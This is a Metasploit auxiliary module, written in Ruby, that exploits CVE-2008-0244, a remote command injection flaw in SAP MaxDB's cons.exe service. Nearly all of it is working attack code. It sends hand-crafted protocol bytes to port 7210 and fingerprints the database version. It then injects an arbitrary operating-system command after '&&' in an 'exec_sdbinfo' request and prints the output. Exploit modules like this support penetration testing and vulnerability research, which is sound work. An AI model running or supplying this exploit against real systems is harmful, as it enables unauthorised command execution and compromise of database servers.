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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'SAP MaxDB cons.exe Remote Command Injection',
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      'Description'    => %q{
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          SAP MaxDB is prone to a remote command-injection vulnerability
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          because the application fails to properly sanitize user-supplied input.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['OSVDB', '40210' ],
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          ['BID', '27206'],
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          ['CVE', '2008-0244'],
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        ],
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      'DisclosureDate' => '2008-01-09'))
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      register_options(
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        [
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          Opt::RPORT(7210),
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          OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
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        ])
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  end
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  def run
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    connect
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    # Grab the MaxDB info.
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    pdbmsrv =  "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
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    pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
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    pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
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    pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
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    pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"
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    pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"
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    db_version =  "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"
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    db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"
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    db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"
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    sock.put(pdbmsrv)
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    sock.get_once
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    sock.put(db_version)
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    ver = sock.get_once || ''
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    info = ver[27,2000]
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    if (info.length > 0)
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      print_status(info)
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    end
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    # Send our command.
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    len = 39 + datastore['CMD'].length
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    data =  len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
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    data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"
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    data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"
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    sock.put(data)
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    res = sock.get_once
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    print_line(res)
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    disconnect
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  end
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end
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